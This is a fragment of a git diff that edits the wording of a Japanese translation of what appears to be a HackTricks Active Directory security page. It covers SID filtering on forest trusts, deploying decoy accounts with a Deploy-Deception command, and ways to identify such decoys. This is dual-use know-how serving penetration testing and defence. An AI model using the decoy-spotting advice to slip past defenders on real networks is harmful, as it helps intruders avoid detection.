- フォレスト信頼を越えたSID履歴属性を利用した攻撃のリスクは、SIDフィルタリングによって軽減されます。これはすべてのインターフォレスト信頼でデフォルトで有効になっています。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。
|
||||
- フォレスト信頼を越えてSID履歴属性を利用する攻撃のリスクは、SIDフィルタリングによって軽減されます。これはすべてのインターフォレスト信頼でデフォルトで有効になっています。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。
|
||||
- しかし、注意点があります:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。
|
||||
|
||||
### **選択的認証:**
|
||||
@ -686,14 +686,14 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **欺瞞技術の実装**
|
||||
|
||||
- 欺瞞を実装することは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータを設定することを含みます。詳細なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。
|
||||
- 欺瞞を実装することは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータのような罠を設定することを含みます。詳細なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。
|
||||
- 実用的な例として、次のようなツールを使用することが含まれます:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- 欺瞞技術の展開に関する詳細は、[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)で見つけることができます。
|
||||
|
||||
### **欺瞞の特定**
|
||||
|
||||
- **ユーザーオブジェクトの場合**:疑わしい指標には、異常なObjectSID、まれなログオン、作成日、低い不正パスワードカウントが含まれます。
|
||||
- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで、不一致を明らかにすることができます。ツールのような[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)は、そのような欺瞞を特定するのに役立ちます。
|
||||
- **ユーザーオブジェクトについて**:疑わしい指標には、異常なObjectSID、まれなログオン、作成日、低い不正パスワードカウントが含まれます。
|
||||
- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで不一致を明らかにすることができます。ツールのような[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)は、そのような欺瞞を特定するのに役立ちます。
|
||||
|
||||
### **検出システムの回避**
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user